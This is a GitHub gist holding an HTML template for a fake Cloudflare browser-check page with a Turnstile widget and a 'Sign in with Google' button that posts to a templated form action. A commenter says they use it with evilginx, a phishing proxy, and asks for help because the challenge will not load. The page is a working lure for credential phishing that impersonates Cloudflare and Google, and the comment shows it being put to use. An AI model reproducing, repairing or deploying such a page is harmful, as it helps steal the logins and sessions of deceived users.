-
-
Save resource-not-found/a9a2d50599deeb5ea5b693be7c839806 to your computer and use it in GitHub Desktop.
Appendix 4: Turnstile (template)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<meta charset="UTF-8"> | |
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
<title>Cloudflare</title> | |
<style> | |
body { | |
font-family: "Arial", sans-serif; | |
background-color: #f4f4f4; | |
color: #333; | |
display: flex; | |
flex-direction: column; | |
justify-content: center; | |
align-items: center; | |
height: 100vh; | |
margin: 0; | |
padding: 0; | |
} | |
h2, p { | |
color: #666; | |
margin: 10px 0; | |
} | |
button { | |
padding: 10px 20px; | |
font-size: 16px; | |
display: flex; | |
align-items: center; | |
justify-content: center; | |
cursor: pointer; | |
margin-top: 10px; | |
visibility: hidden; | |
background: #f4f4f4; | |
border-radius: 5px; | |
border: none; | |
box-shadow: inset 0 0 0 1px #bfbfc3; | |
} | |
form { | |
display: flex; | |
flex-direction: column; | |
align-items: center; | |
} | |
.cf-turnstile { | |
margin: 10px 0; | |
} | |
</style> | |
</head> | |
<body> | |
<h1>LOGO</h1> | |
<!--<h2>Security Check</h2>--> | |
<p>Please wait while we verify your browser.</p> | |
<div> | |
{{if .ErrorMessage}} | |
<p>{{.ErrorMessage}}</p> | |
{{end}} | |
<form action="{{.FormActionURL}}" method="POST"> | |
<script src="https://challenges.cloudflare.com/turnstile/v0/api.js" async defer></script> | |
<div class="cf-turnstile" data-sitekey="{{.TurnstilePublicKey}}"></div> | |
<p style="margin-bottom: 0px;">Sign in with</p> | |
<button type="submit" name="button" disabled="false"> | |
<svg style="margin-right: 4px;" xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M22.56 12.25c0-.78-.07-1.53-.2-2.25H12v4.26h5.92c-.26 1.37-1.04 2.53-2.21 3.31v2.77h3.57c2.08-1.92 3.28-4.74 3.28-8.09z" fill="#4285F4"/><path d="M12 23c2.97 0 5.46-.98 7.28-2.66l-3.57-2.77c-.98.66-2.23 1.06-3.71 1.06-2.86 0-5.29-1.93-6.16-4.53H2.18v2.84C3.99 20.53 7.7 23 12 23z" fill="#34A853"/><path d="M5.84 14.09c-.22-.66-.35-1.36-.35-2.09s.13-1.43.35-2.09V7.07H2.18C1.43 8.55 1 10.22 1 12s.43 3.45 1.18 4.93l2.85-2.22.81-.62z" fill="#FBBC05"/><path d="M12 5.38c1.62 0 3.06.56 4.21 1.64l3.15-3.15C17.45 2.09 14.97 1 12 1 7.7 1 3.99 3.47 2.18 7.07l3.66 2.84c.87-2.6 3.3-4.53 6.16-4.53z" fill="#EA4335"/><path d="M1 1h22v22H1z" fill="none"/></svg> | |
<span style="color: #434248;">Google</span> | |
</button> | |
</form> | |
</div> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Anytime I include the cloudsfare turnstile public and private key to launch my evilginx it refuses to load the cloudsfare challenge , it instead redirect to mydomain.com/validate-captcha?user_id= and also show an error on my terminal
